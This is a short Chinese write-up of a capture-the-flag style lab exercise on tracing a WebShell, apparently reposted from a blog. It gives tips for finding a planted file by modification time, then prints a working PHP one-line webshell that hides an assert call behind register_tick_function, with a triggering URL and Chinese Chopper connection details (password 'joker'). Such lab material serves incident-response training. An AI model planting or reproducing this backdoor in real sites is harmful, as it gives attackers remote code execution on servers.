墨者学院 - WebShell代码分析溯源(第10题)

审查代码

1、先找到黑页所在目录,观察同层级的其他文件命名和修改时间,选中可疑文件审计代码
2、没有新的发现,就去目录查找,根据最后的修改时间排查。

<?php
   error_reporting(0);
   $e = $_REQUEST['e'];
   declare(ticks=1);
   register_tick_function ($e, $_REQUEST['joker']);
?>

浏览器GET提交:http://www.xxx.com/10.php?e=assert&settoken=phpinfo();即可执行phpinfo();

菜刀连接用法: http://www.xxx.com/10.php?e=assert

密码:joker

详解:register_tick_function函数必须要和declare流程控制机制合并使用,那么就先了解一下declare和tick:Tick 是一个在 declare 代码段中解释器每执行 N 条低级语句就会发生的事件。N 的值是在 declare 中的 directive 部分用 ticks=N 来指定的。在每个 tick 中出现的事件是由 register_tick_function() 来指定的。也就是说当ticks=1,每执行1行代码,就需要运行一次我们传过来的assert()函数,$_REQUEST['joker']是参数

这样就构成了assert($_REQUEST['joker']) ,直接用菜刀链接一句话木马即可

猜你喜欢

转载自blog.csdn.net/qq_42357070/article/details/81431620